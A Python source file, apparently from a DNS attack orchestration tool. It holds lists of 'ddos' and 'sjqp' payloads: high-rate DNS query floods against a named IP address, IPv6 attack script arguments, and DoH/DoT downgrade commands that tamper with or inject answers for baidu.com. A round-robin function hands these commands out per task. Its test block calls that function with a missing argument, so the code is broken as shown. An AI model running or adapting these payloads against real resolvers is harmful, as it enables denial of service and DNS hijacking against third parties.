1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
import random
from exts import db
from model import Task
ddos_policy_dic = [
# doh python start_reset_att.py
{"id": "7", "payload": "-n 1"},
{"id": "7", "payload": "-n 3"},
# {"id": "7", "payload": "-n 4"},
# dot python3 start_pending.py
{"id": "10", "payload": "-n 2 -wait 50 -round 1"},
{"id": "10", "payload": "-n 2 -wait 100 -round 5"},
# {"id": "10", "payload": "-n 2 -wait 300 -round 5"},
# ipv6 ./prober
{"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22"},
{"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229"},
{"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224"},
# dnssec ./dtool
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000"},
]
sjqp_policy_dic = [
# sjqp dnssec python proxy.py
{"id": "4", "payload": ""},
# sjqp ipv6 ./attack.sh
{"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
# {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
# {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
# sjqp doh python downgrade_phase1.py python downgrade_phase1.py
{"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
{"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
# sjqp dot python downgrade_phase1.py python downgrade_phase1.py
{"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
{"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
]
# 用于保存每个用户的索引，结构为 {task_id: {"ddos": index, "sjqp": index}}
index = {}
# 初始化线程池
def get_policy(policy_type, task_id):
# 初始化用户的索引为 {"ddos": 0, "sjqp": 0}，如果尚未存在
index.setdefault(task_id, {"ddos": 0, "sjqp": 0})
# 根据 policy_type 确定对应的策略列表和索引键
if policy_type == "ddos":
policy_list = ddos_policy_dic
key = "ddos"
elif policy_type == "sjqp":
policy_list = sjqp_policy_dic
key = "sjqp"
elif policy_type == "auto":
# 随机选择 "ddos" 或 "sjqp"
key = random.choice(["ddos", "sjqp"])
policy_list = ddos_policy_dic if key == "ddos" else sjqp_policy_dic
# 获取当前索引并返回相应命令
current_index = index[task_id][key]
command = policy_list[current_index]
# 更新索引位置
index[task_id][key] = (current_index + 1) % len(policy_list)
return command
if __name__ == '__main__':
print(get_policy("sjqp"))
print(get_policy("sjqp"))
print(get_policy("ddos"))
print(get_policy("ddos"))
print(get_policy("ddos"))
print(get_policy("ddos"))
print(get_policy("ddos"))
print(get_policy("sjqp"))
print(get_policy("sjqp"))
|
